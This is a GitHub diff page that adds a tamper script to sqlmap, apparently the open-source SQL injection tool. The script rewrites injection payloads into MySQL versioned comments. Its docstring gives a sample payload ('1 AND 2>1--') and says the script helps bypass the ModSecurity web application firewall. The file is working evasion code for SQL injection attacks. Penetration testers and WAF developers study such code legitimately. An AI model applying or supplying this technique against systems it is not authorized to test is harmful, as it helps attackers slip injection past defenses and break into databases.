File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ #!/usr/bin/env python
2+
3+ """
4+ $Id$
5+
6+ Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
7+ See the file 'doc/COPYING' for copying permission
8+ """
9+
10+ from lib .core .enums import PRIORITY
11+
12+ __priority__ = PRIORITY .HIGHER
13+
14+ def dependencies ():
15+ pass
16+
17+ def tamper (payload ):
18+ """
19+ Replaces ...
20+
21+ Example:
22+ * Input: 1 AND 2>1--
23+ * Output: 1 /*!30000AND 2>1*/--
24+
25+ Requirement:
26+ * MySQL
27+
28+ Tested against:
29+ * MySQL 5.0
30+
31+ Notes:
32+ * Useful to bypass ModSecurity WAF/IDS
33+ """
34+
35+ retVal = payload
36+
37+ if payload :
38+ postfix = ''
39+ for comment in ('#' , '--' , '/*' ):
40+ if comment in payload :
41+ postfix = payload [payload .find (comment ):]
42+ payload = payload [:payload .find (comment )]
43+ break
44+ if ' ' in payload :
45+ retVal = "%s /*!30000%s*/%s" % (payload [:payload .find (' ' )], payload [payload .find (' ' ) + 1 :], postfix )
46+
47+ return retVal
You can’t perform that action at this time.
0 commit comments